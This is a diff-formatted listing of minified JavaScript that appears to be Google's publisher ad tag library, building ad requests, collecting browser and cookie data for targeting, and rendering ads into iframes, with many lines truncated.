+google_rl_mode:"rl_mode",google_rt:"rt",google_skip:"skip",google_tdsma:"tdsma",google_tfs:"tfs",google_tl:"tl"},Ub={google_lact:"lact",google_only_pyv_ads:"pyv",google_only_userchoice_ads:"uc",google_scs:"scs",google_with_pyv_ads:"withpyv",google_previous_watch:"p_w",google_previous_searches:"p_s",google_yt_pt:"yt_pt",google_yt_up:"yt_up"};var Vb=function(a,b){var c;a:{c=C(a);if(c.defaultView&&c.defaultView.getComputedStyle&&(c=c.defaultView.getComputedStyle(a,q))){c=c[b]||c.getProperty [...]
+"position"),d="fixed"==c||"absolute"==c;for(a=a.parentNode;a&&a!=b;a=a.parentNode)if(c=Vb(a,"position"),d=d&&"static"==c&&a!=b.documentElement&&a!=b.body,!d&&(a.scrollWidth>a.clientWidth||a.scrollHeight>a.clientHeight||"fixed"==c||"absolute"==c||"relative"==c))return a;return q},Yb=function(a){var b,c=C(a),d=Vb(a,"position"),e=Wa&&c.getBoxObjectFor&&!a.getBoundingClientRect&&"absolute"==d&&(b=c.getBoxObjectFor(a))&&(0>b.screenX||0>b.screenY),f=new A(0,0),g;b=c?C(c):document;if(g=B)if(g=! [...]
+"CSS1Compat"!=lb(b).p.compatMode;g=g?b.body:b.documentElement;if(a==g)return f;if(a.getBoundingClientRect)b=Wb(a),a=lb(c),a=nb(a.p),f.x=b.left+a.x,f.y=b.top+a.y;else if(c.getBoxObjectFor&&!e)b=c.getBoxObjectFor(a),a=c.getBoxObjectFor(g),f.x=b.screenX-a.screenX,f.y=b.screenY-a.screenY;else{b=a;do{f.x+=b.offsetLeft;f.y+=b.offsetTop;b!=a&&(f.x+=b.clientLeft||0,f.y+=b.clientTop||0);if(Xa&&"fixed"==Vb(b,"position")){f.x+=c.body.scrollLeft;f.y+=c.body.scrollTop;break}b=b.offsetParent}while(b&& [...]
+Xa&&"absolute"==d)f.y-=c.body.offsetTop;for(b=a;(b=Xb(b))&&b!=c.body&&b!=g;)if(f.x-=b.scrollLeft,!Va||"TR"!=b.tagName)f.y-=b.scrollTop}return f},Zb=/matrix\([0-9\.\-]+, [0-9\.\-]+, [0-9\.\-]+, [0-9\.\-]+, ([0-9\.\-]+)p?x?, ([0-9\.\-]+)p?x?\)/;var $b=function(a){var b=a;"about:blank"!=a&&(b=b.replace(/</g,"%3C").replace(/>/g,"%3E").replace(/"/g,"%22").replace(/'/g,"%27"),/^https?:\/\//.test(b)||(b="unknown:"+b));return b},ac=/\+/g,bc=function(a){return a||Hb?"https://"+pa("","securepubads [...]
+0,d=[];a&&(d.push(a.getName()),d.push(sb(a)),d.push(H(a)));if(b){var e;if(b){e=[];for(var f=0,g=b;g&&25>f;g=g.parentNode,++f)e.push(9!=g.nodeType&&g.id||"");e=e.join()}else e="";e&&d.push(e)}0<d.length&&(c=Ga(d.join(":")));return c.toString()};var ec=function(a){this.h={};this.Hb=a},fc=function(a,b,c,d){if(b&&(c||(c=""),"google_gl"==b?b="google_country":"google_region"==b&&(b="google_section"),b in a.Hb&&("undefined"==typeof d||d||!a.h[b])))a.h[b]=c};ec.prototype.c=function(a){return thi [...]
+jc.prototype.debug=function(){};var kc=function(a){this.f={};this.ba={};this.i=[];this.s={};this.Db=a;this.M=new ec(a);this.N={};this.J=q;this.Va={};this.O={};this.w={};this.oa=this.na="";this.pa=q},lc=function(a,b){var c=new F(b);if(!c.getName())return q;a.f[G(c)]=c;a.ba[c.getName()]||(a.ba[c.getName()]=[]);return a.ba[c.getName()][c.getInstance()]=c};kc.prototype.ha=function(){var a=[],b;for(b in this.f){var c=this.f[b];v(c)||c.U||a.push(c)}return a.length};
+kc.prototype.Ea=function(){for(var a in this.f){var b=this.f[a];v(b)||(b.kb=0,b.ca=r,b.U=q,b.ua=q,b.ob=q,b.lb=q)}this.i=[]};var K=function(a,b){b.lb||(b.lb=(new Date).getTime());v(b.b.renderEnded)&&b.b.renderEnded();a.J&&ic(a.J,"ga_render",a.i.length,"ga_srt")},mc=function(a){var b=0,c;for(c in a.f)v(a.f[c])||b++;return b};
+kc.prototype.toString=function(){var a="[AdData:",b=[],c;for(c in this.f){var d=this.f[c];v(d)||b.push(d.toString())}for(var e in this.s)v(this.s[e])||b.push("["+e+","+this.s[e]+"]");a+=b.join();return a+"]"};var nc=function(a,b){if(b){var c=b.getName(),d=b.getSlotId().getInstance();return a.f[c+"_"+d]||q}return q},oc=function(a){var b=[],c;for(c in a.f){var d=a.f[c];v(d)||b.push(d)}return b};var L=function(a,b){this.La=a;this.ja=b?b.ja:[];this.Na=b?b.Na:r;this.qb=b?b.qb:"";this.t=b?b.t: [...]
+e[h][0],d||0);e.splice(h,1);break}if(e=0<e.length){if(!ub){f=e=window;for(g=0;e!=e.parent;)if(e=e.parent,g++,Ha(e))f=e;else break;ub=f}e=b!=ub}if(e)try{sc(a,b.parent,c,d)}catch(m){}};s=L.prototype;s.Ob=function(a){sc(this,this.La,a,1);for(var b=this.aa.length,c=0;c<b;c++){var d=this.aa[c];d.sb&&a(d.sb,d.Fb,d.Gb)}};
+s.setupOse=function(a){if(this.getOseId())return this.getOseId();var b=window.google_enable_ose,c;b===p?c=2:b!==r&&((c=Fa([2],Ib))||(c=Fa([3],Jb)));if(!c)return 0;this.t=c;this.C=String(a||0);return this.getOseId()};s.getEid=function(){return""};s.getOseExpId=function(){return this.qb};s.getOseId=function(){return this.t};s.getCorrelator=function(){return this.C};s.Nb=function(){return this.ja.length+this.aa.length};
+s.registerAdBlock=function(a,b,c,d){if("js"==c){var e=this.La.google_ad_request_done,f=this.ja;this.La.google_ad_request_done=function(b){if(b&&0<b.length){var c=1<b.length?b[1].url:q;f.push([a,ya(b[0].url),c])}e(b)}}else this.aa.push(new tc(a,b,d));if(!this.Na){var g=xb();"google_onload_fired"in g||(g.google_onload_fired=r,b=function(){g.google_onload_fired=p},g.addEventListener?g.addEventListener("load",b,r):g.attachEvent&&g.attachEvent("onload",b));b=document;var h=b.createElement("sc [...]
+"text/javascript";h.src=rc;var l=b.getElementsByTagName("head")[0];l&&window.setTimeout(function(){l.appendChild(h)},0);this.Na=p}};var uc=function(){var a=xb(),b=a.__google_ad_urls;if(!b)return a.__google_ad_urls=new L(a);try{b.getOseId()}catch(c){return a.__google_ad_urls=new L(a,b)}return b},tc=function(a,b,c){this.Fb=a;this.Gb=b;this.sb=c};w("Goog_AdSense_getAdAdapterInstance",uc);w("Goog_AdSense_OsdAdapter",L);w("Goog_AdSense_OsdAdapter.prototype.numBlocks",L.prototype.Nb);
+w("Goog_AdSense_OsdAdapter.prototype.getBlocks",L.prototype.Ob);w("Goog_AdSense_OsdAdapter.prototype.getEid",L.prototype.getEid);w("Goog_AdSense_OsdAdapter.prototype.getOseExpId",L.prototype.getOseExpId);w("Goog_AdSense_OsdAdapter.prototype.getOseId",L.prototype.getOseId);w("Goog_AdSense_OsdAdapter.prototype.getCorrelator",L.prototype.getCorrelator);w("Goog_AdSense_OsdAdapter.prototype.setupOse",L.prototype.setupOse);w("Goog_AdSense_OsdAdapter.prototype.registerAdBlock",L.prototype.regis [...]
+xc.prototype.gb=function(a){a._cookies_.length&&(this.L=a._cookies_[0],this.L!=q&&(this.Q=this.L._value_,this.L!=q&&this.Q&&(a=new Date,a.setTime(1E3*this.L._expires_),this.p.cookie=this.rb+this.Q+"; expires="+a.toGMTString()+"; path="+this.L._path_+"; domain=."+this.L._domain_)))};pa("","partner.googleadservices.com");var wc=function(a,b){var c=a.p.cookie,d=c.indexOf(b),e="";-1!=d&&(d+=b.length,e=c.indexOf(";",d),-1==e&&(e=c.length),e=c.substring(d,e));return e};
+xc.prototype.setCookieInfo=xc.prototype.gb;var M=function(a,b,c,d,e){this.a=b;this.m=c;this.k=d;this.mode=a;this.d=e;this.o="";this.xb=Sb;this.D=[];this.bb=[]};M.prototype.n=function(a){this.Qa();this.Ia(a);a=this.o;if(2048<a.length){var b=a.lastIndexOf("&",2040);-1!=b?a=a.substring(0,b):(a=a.substring(0,2040),a=a.replace(/%\w?$/,""));a+="&trunc=1"}return a};
+M.prototype.Ia=function(a){try{N(this,"eid",this.d.Ta.join())}catch(b){}if("sra"==this.mode){for(var c=this.d.B,d=c.length,e=0;e<d;e++){var f=c[e].getName(),g="";if(""!=f){for(var g=f=f.split("/"),h=0;h<g.length;h++)if(""!=g[h]){for(var l=r,n=0;n<this.D.length;n++)if(g[h]==this.D[n]){l=p;break}l||this.D.push(g[h])}g="";for(h=0;h<f.length;h++){if(0<h)g+="/";else if(""==f[0])continue;for(l=0;l<this.D.length;l++)if(f[h]==this.D[l]){g+=l;break}}}this.bb.push(g)}N(this,"iu_parts",this.D.join( [...]
+"enc_prev_ius",this.bb.join());d=[];for(e=0;e<c.length;++e)d.push(sb(c[e]));N(this,"prev_iu_szs",d.join());if(c.length){d="";for(e=0;e<c.length;++e)d+=c[e].getOutOfPage()?"1":"0";c=parseInt(d,2)}else c=0;c&&N(this,"ists",c);N(this,"ppid",this.a.oa);c=this.d.B;e=q;d=[];for(e=0;e<c.length;++e)d.push(tb(c[e]));e=d.join("|");e.length==d.length-1&&(e=q);N(this,"prev_scp",e)}else a&&(N(this,"iu",a.getName()),N(this,"sz",sb(a)),a.getClickUrl()&&N(this,"click",a.getClickUrl()),a.getOutOfPage()&& [...]
+"1"),!(a in this.a.w)||N(this,"logonly","1"),N(this,"ppid",this.a.oa),c=tb(a),N(this,"scp",c));var c=window,d=document,e=this.a,f=[],k;for(k in e.s)v(e.s[k])||f.push(x(k)+"="+x(e.s[k]));N(this,"cust_params",f.join("&"));this.k&&(N(this,"cookie",this.k.Q),this.k.Ya&&N(this,"cookie_enabled","1"));(k=this.a.na)&&N(this,"uule",k);(k=(this.a.M.c("google_page_url")||(yb(c,d)?d.URL:d.referrer))!=d.URL?d.domain:"")&&N(this,"cdm",k);this.m.c("google_preview")!=q&&N(this,"gct",this.m.c("google_pre [...]
+a);a={};a.u_tz=-(new Date).getTimezoneOffset();a.u_his=window.history.length;a.u_java=navigator.javaEnabled();window.screen&&(a.u_h=window.screen.height,a.u_w=window.screen.width,a.u_ah=window.screen.availHeight,a.u_aw=window.screen.availWidth,a.u_cd=window.screen.colorDepth);navigator.plugins&&(a.u_nplug=navigator.plugins.length);navigator.mimeTypes&&(a.u_nmime=navigator.mimeTypes.length);for(var m in a)k=a[m],v(k)||O(this,m,k);O(this,"flash",Ea());m=this.a.M.c("google_page_url")||(yb(w [...]
+document.URL:document.referrer);this.m.c("google_preview")!=q&&(a=m.indexOf("google_preview=",m.lastIndexOf("?")),k=m.indexOf("&",a),-1==k&&(k=m.length-1,a-=1),m=m.substring(0,a)+m.substring(k+1,m.length));N(this,"url",m);N(this,"ref",document.referrer);if("sra"==this.mode){m=this.d.B;a=m.length;k=[];for(c=0;c<a;c++)d=dc(m[c]),m[c].Ua=d,k.push(d);N(this,"adks",k.join(","))}m=t.googletag;m!=q&&m.getVersion!=q&&N(this,"vrg",m.getVersion());N(this,"vrp","14")};
+M.prototype.ra=function(a,b){N(this,"lmt",(Date.parse(document.lastModified)/1E3).toString());O(this,"dt",a.getTime());if(document.body){var c=document.body.scrollHeight,d=document.body.clientHeight;d&&c&&N(this,"cc",Math.round(100*d/c).toString())}c=this.m.c("deb");c!=q&&N(this,"deb",c);c=this.m.c("haonly");c!=q&&N(this,"haonly",c);var e=window;c=e.document;if(yb(e,c))d=r;else{var d=c.documentElement,f=1,g=1;e.innerHeight?(f=e.innerWidth,g=e.innerHeight):d&&d.clientHeight?(f=d.clientWid [...]
+c.body&&(f=c.body.clientWidth,g=c.body.clientHeight);d=600<g||1E3<f?r:p}c={};a:{var e=e.navigator,f=document,g=e.userAgent,h=e.platform;if(/Win|Mac|Linux/.test(h)&&!/^Opera/.test(g)){var l=(/WebKit\/(\d+)/.exec(g)||[0,0])[1],n=(/rv\:(\d+\.\d+)/.exec(g)||[0,0])[1];if(/Win/.test(h)&&/MSIE.*Trident/.test(g)&&7<f.documentMode||!l&&"Gecko"==e.product&&1.7<n&&!/rv\:1\.8([^.]|\.0)/.test(g)||524<l){e=p;break a}}e=r}if(!e||d)c.ea="0";var d=ia(function(a,b){N(this,b,a)},this),k;for(k in c)Object.p [...]
+k)&&d.call(q,c[k],k,c);k=q;b&&(k=this.a.N[G(b)]);f=this.a.M;c="";if("sra"==this.mode){var c=this.d.B,d=this.a.N,e=this.xb,m=[];k=[];var f=f.h,u;for(u in e)if(!v(u)&&(g=e[u])){h="";f[u]!=q&&(h=x(f[u]));for(var l=[],y=-1,n=-1,D=0;D<c.length;++D){var E=G(c[D]);++y;d[E]==q?l.push(""):(E=d[E].h,E[u]!=q?(l.push(x(x(E[u]))),n=y):l.push(""))}if(0<=n){y=[];y.push(x(h));for(D=0;D<=n;++D)y.push(l[D]);k.push(g+","+y.join(","))}else h&&m.push(g+"="+h)}u=[];u.push(m);u.push(k);m=[];u[0]&&0<u[0].length [...]
+u[1]&&0<u[1].length&&m.push("sps="+u[1].join("|"));c=m.join("&")}else{if(k==q)k=f;else for(m in u=k,f.h)c=f.c(m),v(c)||u.h[m]||(u.h[m]=c);c=k.n()}c&&(this.o+="&"+c)};M.prototype.Qa=function(){this.o=bc(Boolean(this.a.na))+"/gampad/ads?";O(this,"gdfp_req",1);N(this,"correlator",this.d.$a);O(this,"output",this.d.ab);O(this,"callback",this.d.Za);O(this,"impl",this.d.qa);this.d.Wa&&N(this,"per_only",1);"sra"==this.mode?N(this,"json_a",1):this.d.Xa&&N(this,"fif_to",1)};
+var N=function(a,b,c){c!=q&&O(a,b,x(c.toString()))},O=function(a,b,c){c!=q&&""!=c&&(a.o="?"!=a.o.charAt(a.o.length-1)?a.o+("&"+b+"="+c):a.o+(b+"="+c))};var P=navigator;function yc(a){var b=1,c=0,d;if(!(a==j||""==a)){b=0;for(d=a.length-1;0<=d;d--)c=a.charCodeAt(d),b=(b<<6&268435455)+c+(c<<14),c=b&266338304,b=0!=c?b^c>>21:b}return b}function zc(a,b){if(!a||"none"==a)return 1;a=String(a);"auto"==a&&(a=b,"www."==a.substring(0,4)&&(a=a.substring(4,a.length)));return yc(a.toLowerCase())};var A [...]
+Ac.prototype.ra=function(a,b){0<navigator.userAgent.indexOf("MSIE ")&&fc(this.a.M,"google_encoding",document.charset,r);M.prototype.ra.call(this,a,b);var c=Rb(p);c&&(N(this,"biw",c.width),N(this,"bih",c.height));if(b){var d;if(c=this.a.O[G(b)])if(c)try{var e=window.top,f=new A(0,0),g=C(c)?C(c).parentWindow||C(c).defaultView:window;do{var h;if(g==e)h=Yb(c);else{var l=c,n=new A;if(1==l.nodeType){if(l.getBoundingClientRect){var k=Wb(l);n.x=k.left;n.y=k.top}else{var m=j,u=lb(l),m=nb(u.p),y=Y [...]
+y.x-m.x;n.y=y.y-m.y}if(Wa&&!gb(12)){var m=n,D=j;var E=j;B?E="-ms-transform":Xa?E="-webkit-transform":Va?E="-o-transform":Wa&&(E="-moz-transform");var ba=j;E&&(ba=Vb(l,E));ba||(ba=Vb(l,"transform"));if(ba)var ca=ba.match(Zb),D=!ca?new A(0,0):new A(parseFloat(ca[1]),parseFloat(ca[2]));else D=new A(0,0);n=new A(m.x+D.x,m.y+D.y)}}else{var rb=v(l.hb),m=l;l.targetTouches?m=l.targetTouches[0]:rb&&l.hb().targetTouches&&(m=l.hb().targetTouches[0]);n.x=m.clientX;n.y=m.clientY}h=n}l=h;f.x+=l.x;f.y+ [...]
+g!=e&&(c=g.frameElement)&&(g=g.parent));d=f}catch(od){d=new A(-12245933,-12245933)}else d=q;else d=q;d&&(N(this,"adx",Math.round(d.x)),N(this,"ady",Math.round(d.y)))}d=window.google_unique_id;N(this,"ifi","number"==typeof d?d:0);e=window;e==e.top?d=0:(d=[],d.push(e.document.URL),e.name&&d.push(e.name),e=Rb(r,e),d.push(e.width.toString()),d.push(e.height.toString()),d=Ga(d.join("")));0!=d&&N(this,"ifk",d.toString());this.d.va&&N(this,"oid",this.d.va);b&&(d=b.Ua||dc(b,this.a.Va[G(b)]),N(th [...]
+d))};
+Ac.prototype.Ia=function(a){var b=window;b.google_unique_id?++b.google_unique_id:b.google_unique_id=1;this.d.T&&(O(this,"hxva",1),N(this,"cmsid",this.d.G),N(this,"vid",this.d.H));isNaN(this.d.Aa)||O(this,"pod",this.d.Aa);isNaN(this.d.Ba)||O(this,"ppos",this.d.Ba);isNaN(this.d.r)||O(this,"scor",this.d.r);M.prototype.Ia.call(this,a);a=window;var c=a.document.domain,d=a.document.cookie,e=a.history.length,f=a.screen,g=a.document.referrer,b=Math.round((new Date).getTime()/1E3),h=window.google [...]
+"undefined"==typeof h?zc("auto",c):zc(h,c),l=-1<d.indexOf("__utma="+c+"."),n=-1<d.indexOf("__utmb="+c),k=-1<d.indexOf("__utmc="+c),h=Eb("google_persistent_state"),h=Gb(h)||(h.S[Fb(14)]={});if(l)d=d.split("__utma="+c+".")[1].split(";")[0].split("."),n&&k?h.Z=d[3]+"":h.Z||(h.Z=b+""),h.Ja=d[0]+"."+d[1],h.mb=p;else{h.Z||(h.Z=b+"");if(!h.Ja){n=Math.round(2147483647*Math.random());k=[P.appName,P.version,P.language?P.language:P.browserLanguage,P.platform,P.userAgent,P.javaEnabled()?1:0].join("" [...]
+"x"+f.height+f.colorDepth:window.Qb&&(f=java.awt.Toolkit.getDefaultToolkit().getScreenSize(),k+=f.screen.width+"x"+f.screen.height);k=k+d+(g||"");for(d=k.length;0<e;)k+=e--^d++;h.Ja=(n^yc(k)&2147483647)+"."+b}h.mb=r}h.Pb=c;h.nb||(h.nb=Math.round(2147483647*Math.random()));b=Eb();b=Gb(b);O(this,"ga_vid",b.Ja);O(this,"ga_sid",b.Z);O(this,"ga_hid",b.nb);O(this,"ga_fc",b.mb);N(this,"ga_wpids",a.google_analytics_uacct)};var Bc=new zb,Cc=[],Dc=function(a,b){this.K=a;this.la=b;this.ka="exp"+(th [...]
+var Ec=function(a){for(var b=0;b<Cc.length;++b){var c=Cc[b],d=c.K,e={},f=j;for(f in d)e[d[f]]=f;d=e[a];if(d!=q){d in c.K&&Ab(c.la,c.K[d],c.ka);return}}0<=Ia(Bc.Oa,a)||Ab(Bc,a)},Fc=new Dc({control:"108809003",experiment:"108809004"},Bc);Fc.select(Qb);Cc.push(Fc);var Q=q,Gc=function(a){document.write('<script type="text/javascript" src="'+a+'"><\/script>')},Jc=function(a,b,c){c=c||r;if(0!=cc()){var d;try{d=!!a.contentWindow.document}catch(e){d=r}if(d)if(c){var f=Hc();try{var g=b,h="http:// [...]
+unescape(encodeURIComponent(b)),u=Math.floor(m.length/2),k=[],y=0;y<u;++y)k[y]=String.fromCharCode(256*m.charCodeAt(2*y+1)+m.charCodeAt(2*y));1==m.length%2&&(k[u]=m.charAt(m.length-1));b=k.join("")}}else{m=b;u=[];for(n=h=l=0;n<m.length;++n)k=m.charCodeAt(n),128>k||(h!=n&&(u[l++]=m.substring(h,n)),55296<=k&&56319>=k&&(n+1>=m.length?R("Surrogate high character "+k+" is missing the lower surrogate."):(g=k,y=m.charCodeAt(++n),k=1024*(g-55296)+(y-56320)+65536)),u[l++]="&#"+k+";",h=n+1);h!=n&& [...]
+n));b=u.join("")}window.frames[a.name].contents=b;a.src='javascript:window["contents"]'}else window.frames[a.name].contents=b,a.src='javascript:document.write(window["contents"]);document.close();'}catch(D){R("Could not write third party content into IE iframe: "+D.message)}finally{Ic(f)}}else a:{k=document;try{g=a.contentWindow?a.contentWindow.document:a.contentDocument;if(g==q)if(k.implementation&&k.implementation.createDocument)g=k.implementation.createDocument("","doc_"+a.name,q);els [...]
+typeof ActiveXObject)g=new ActiveXObject("Msxml.DOMDocument");else{R("Cannot create document in iframe "+a.name);break a}g.open("text/html","replace");g.write(b);g.close()}catch(E){R("Unable to write contents into IE iframe: "+E.message)}}else{k=Hc();try{f="google-ad-content-"+(Math.floor(2147483648*Math.random()).toString(36)+Math.abs(Math.floor(2147483648*Math.random())^ja()).toString(36)),window[f]=b,y='var adContent = window.parent["'+f+'"];window.parent["'+f+'"] = null;document.writ [...]
+y=6==cc()?"window.onload = function() {document.write(\\'<sc\\' + \\'ript type=\"text/javascript\">document.domain = \""+document.domain+'";'+y+"<\\/scr\\' + \\'ipt>\\');document.close(); };":'document.domain = "'+document.domain+'";'+y+"document.close();",a.src='javascript:\'<script type="text/javascript">'+y+"<\/script>'"}catch(ba){window[f]=q,R("Could not write third party content into IE iframe with modified document.domain: "+ba.message)}finally{Ic(k)}}}else try{var ca=a.contentWin [...]
+a.contentDocument;-1!=navigator.userAgent.indexOf("Firefox")&&ca.open("text/html","replace");ca.write(b);ca.close()}catch(rb){R("Could not write content into iframe using the DOM standards method:"+rb.message)}},R=function(a){Q||(Q=q);Q.ac(a)},Hc=function(){var a=[],b=document.getElementsByTagName("base");if(b)for(var c=0,d=b.length;c<d;++c){var e=b[c],f=e.getAttribute("target");f&&(a.push({Lb:e,Mb:f}),e.removeAttribute("target"))}return a},Ic=function(a){if(a)for(var b=0,c=a.length;b<c [...]
+a[b];d.Lb.setAttribute("target",d.Mb)}};var S=function(a,b,c,d){var e=c.c("api_experiment");ra(e)||Ja(La(e.split(","),sa),Ec);this.a=b;this.u=c;this.j={};this.k=d;this.C=Math.floor(4503599627370496*Math.random());this.g=a;this.Da=this.da=r;"MOBILE"==c.c("target_platform")&&(this.Da=p);this.da=this.a&&this.a.pa!==q?Boolean(this.a.pa):this.Da},Kc={Sb:"_a2ids_",Ub:"_cookies_",Vb:"_cids_",EMPTY:"_empty_",Ab:"_expandable_",Wb:"_height_",Xb:"_html_",Cb:"_is_afc_",Bb:"_is_3pas_",Yb:"_persistent [...]
+s.X=function(){return"lean"};s.getCorrelator=function(){return this.C};s.wb=function(){return q};s.vb=function(){return r};s.Ea=function(){this.j={};this.a.Ea()};s.refresh=function(){};s.ha=function(){return this.a.ha()};s.Ha=function(){return Ma(Bc.Oa,Ka(Na(Bc.q),function(){return!ra.apply(this,arguments)}))};s.F=function(){var a=new vc;a.$a=this.getCorrelator()+"";a.ab="json_html";a.qa=this.fa(this.g);a.Za=this.ib();a.Ta=this.Ha();this.g&&(a.B=oc(this.a));return a};
+s.n=function(a){return Lc(this,this.g?"sra":"single",this.F()).n(a)};
+var Mc=function(a){var b=oc(a.a),c=[];Ja(b,function(a){c.push(a);var b=this.F();b.qa=this.fa(r);b=Lc(this,"single",b).n(a);pb(a,b)},a)},Nc=function(a,b,c){if(!a.Da)return b;a=screen?screen.availWidth:0;return 300!=b||50!=c||320>a?b:320},Oc=function(a,b,c,d,e,f,g){a=a.createElement(b);a.style.width=d+"px";e&&(a.style.height=e+"px");a.style.display=f;a.style.position="relative";g&&(a.style.margin=g);a.style.border=0;c&&a.appendChild(c);return a};
+S.prototype.ga=function(a,b,c){a=this.u.c("google_collapse_empty_div");if(!(c in this.a.w)&&"true"==a&&(c=H(c),c=mb(c)))c.style.display="none"};
+S.prototype.W=function(a,b,c){this.j||(this.j={});var d=[];if(this.g){if("array"==aa(a)){d=c||oc(this.a);b=[];for(var e=0;e<d.length;++e){var f=d[e];if(c=a[e][f.getName()])Pc(this,f,c),b.push(f)}a=b}else{d=[];for(e in a)if(b=a[e],!v(b)&&(f=Qc(this,e)))Pc(this,f,b),d.push(f);a=d}d=a}else{e=[];c=0;for(f in a)e[c++]=f;1<e.length||0==e.length?a=q:(e=e[0],a=a[e],(b=b?this.a.f[b]:Qc(this,e))?(Pc(this,b,a),a=b):a=q);a&&d.push(a)}return d};
+var Pc=function(a,b,c){a.j[G(b)]=c;b.ua||(b.ua=(new Date).getTime());v(b.b.fetchEnded)&&b.b.fetchEnded();c._cookies_!=q&&a.k.gb(c);c._persistent_for_stream_&&(a.a.w[b]=q)},Qc=function(a,b){if(!a.g)for(var c=a.a.i,d=c.length-1;0<=d;--d)if(c[d].getName()==b){var e=c[d];if(!a.j[G(e)])return e}d=[];if(e=a.a.ba[b])for(c=0;c<e.length;++c)e[c]&&d.push(c);if(c=d.length?d:q)for(d=0;d<c.length;++d)if((e=a.a.f[b+"_"+c[d]])&&!a.j[G(e)])return e;return q};var Rc=function(a,b){var c=bc();if(!b||0>b||1 [...]
+a.ma;a.Jb.push(b)}};var Uc=function(a,b,c,d,e){M.call(this,a,b,c,d,e)};ka(Uc,M);Uc.prototype.Qa=function(){M.prototype.Qa.call(this);O(this,"m_ast","js");O(this,"markup","html");O(this,"js","afmc")};var U=function(a,b,c,d,e){S.call(this,a,b,c,d);this.l=e;this.sa=this.R=r;this.V=this.I=q;this.T=this.ta=r;this.G=this.H="";this.r=NaN;this.t=0};ka(U,S);s=U.prototype;s.X=function(){return"unknown"};s.F=function(){var a=U.jb.F.call(this);a.T=this.T;a.G=this.G;a.H=this.H;a.va=this.t;return a};s [...]
+s.$=function(){this.l.Y("onload");this.l.fb(this.X());var a=this.a,b=[],c;for(c in a.f){var d=a.f[c];v(d)||d.U&&(!d.U||!d.ua)&&b.push([d.getName(),d.getInstance()])}if(0<b.length){a={};c=[];for(d=0;d<b.length;++d)a[b[d][0]]=p;for(var e in a)v(e)||c.push(e);this.I=new Rc("missing_cb",Mb);T(this.I,"pending",c.join());T(this.I,"correlator",this.getCorrelator().toString());T(this.I,"impl",this.X());Sc(this.I,this.a);Tc(this.I)}};
+var Lc=function(a,b,c){switch(a.u.c("target_platform")){case "MOBILE":return new Uc(b,a.a,a.u,a.k,c);default:return new Ac(b,a.a,a.u,a.k,c)}},Vc=function(a){if(a.g){var b=mc(a.a),c=a.a.i.length;b!=c&&(a.V=new Rc("sra_mismatch",Nb),T(a.V,"correlator",a.getCorrelator().toString()),T(a.V,"fslots",c.toString()),Sc(a.V,a.a),Tc(a.V))}};U.prototype.ga=function(a,b,c){a.google_js_backfill?b.write('<script src="'+Ca+'"><\/script>'):S.prototype.ga.call(this,a,b,c)};
+U.prototype.W=function(a,b,c){ic(this.l,"ga_srt",this.a.i.length,"_ga_start");return S.prototype.W.call(this,a,b,c)};var Wc=function(a,b,c){a.t&&b&&(a=a.a.f[c],c="",a&&(c=a.getContentUrl()),uc().registerAdBlock(c,3,"json_html",b))};var V=function(a,b,c,d,e){U.call(this,a,b,c,d,e);this.A=[];this.P=q;this.cb={};this.wa=r;this.Ca=this.za=this.ya=NaN;this.xa=r};ka(V,U);s=V.prototype;s.X=function(){return this.g?"gut_friendly_iframe_sra":"gut_friendly_iframe"};s.ib=function(){return this.g?"w [...]
+s.F=function(){var a=V.jb.F.call(this);!this.g&&this.wa&&(a.Xa=p);a.Wa=this.xa;this.P&&(a.B=this.P);a.Aa=this.ya;a.Ba=this.za;a.r=this.r;return a};s.Fa=function(a,b){if(!this.R&&(!this.ta||b)){var c=this.n(),c=$b(c);Mc(this);c='<script src = "'+c+'"><\/script>';ic(this.l,"_ga_start",this.a.i.length);Xc(this,document,a,p,r,0,0,c)}};
+var Yc=function(a,b){a.a.i.push(b);var c=a.n(b);a.wa=r;c=$b(c);pb(b,c);var d="";if(!(b in a.a.w)){var d=d+'<script type="text/javascript">function callbackProxy(adContents) { ',e;e=G(b);e=String(e);if(e.quote)e=e.quote();else{for(var f=['"'],g=0;g<e.length;g++){var h=e.charAt(g),l=h.charCodeAt(0),n=f,k=g+1,m;if(!(m=za[h])){if(!(31<l&&127>l))if(h in Aa)h=Aa[h];else if(h in za)h=Aa[h]=za[h];else{l=h;m=h.charCodeAt(0);if(31<m&&127>m)l=h;else{if(256>m){if(l="\\x",16>m||256<m)l+="0"}else l="\ [...]
+m&&(l+="0");l+=m.toString(16).toUpperCase()}h=Aa[h]=l}m=h}n[k]=m}f.push('"');e=f.join("")}d=d+("window.parent.googletag.impl.pubads.setAdContentsBySlotForAsync(adContents, "+e+");}")+"<\/script>"}c=d+='<script src = "'+c+'"><\/script>';ic(a.l,"_ga_start",a.a.i.length);Xc(a,document,b,p,r,0,0,c);a.cb[G(b)]=setTimeout(ia(a.eb,a,p),Pb)},Xc=function(a,b,c,d,e,f,g,h){var l=Zc(c,d),n=b.getElementById(l);if(!n){n=H(c);n=b.getElementById(n);if(n==q)return;e&&(e=b.createElement("div"),e.id=l+"_ce [...]
+e.name=e.id,e.style.margin="auto",e.style.textAlign="center",e.style.border="0pt none",n.appendChild(e),n=e);e=n;b=(b||document).createElement("iframe");b.id=l;b.name=l;f!=q&&g!=q&&(b.width=String(f),b.height=String(g));b.vspace="0";b.hspace="0";b.allowTransparency="true";b.scrolling="no";b.marginWidth="0";b.marginHeight="0";b.frameBorder="0";b.style.border="0";d&&(b.style.visibility="hidden",b.style.display="none");e.appendChild(b);n=b}d||(a.a.O[G(c)]=n);h&&Jc(n,h,p)},Zc=function(a,b){v [...]
+b&&(c+="__hidden__");return c};V.prototype.Ga=function(a,b){if(!this.R&&(!this.ta||b))$c(this,a),this.A.push(a),1==this.A.length&&Yc(this,a)};
+V.prototype.refresh=function(a,b,c,d,e,f,g,h){b!==j?this.r=b:this.C=Math.floor(Math.floor(4503599627370496*Math.random()));this.xa=r;this.P=q;this.za=this.ya=NaN;f&&(this.ya=f);g&&(this.za=g);h&&(this.xa=p);this.Ea();b=[];b=a?a:oc(this.a);this.g&&(this.P=b);this.Ca=b.length;for(a=0;a<b.length;++a){e=b[a];d=document;if(!(e in this.a.w)&&(c=H(e),f=d.getElementById(c))){d=Zc(e,r);e=Zc(e,p);f=f.childNodes;g=r;for(h=0;h<f.length;++h)if(1==f[h].nodeType){var l=f[h];if("iframe"!=l.tagName.toLow [...]
+l.id!=d&&l.id!=e){g=p;break}}if(g&&(c=mb(c)))c.innerHTML=""}this.fillSlot(b[a],p)}};V.prototype.vb=function(){for(var a=oc(this.a),b=0;b<a.length;++b){var c=H(a[b]);if(c=mb(c))c.innerHTML=""}return p};
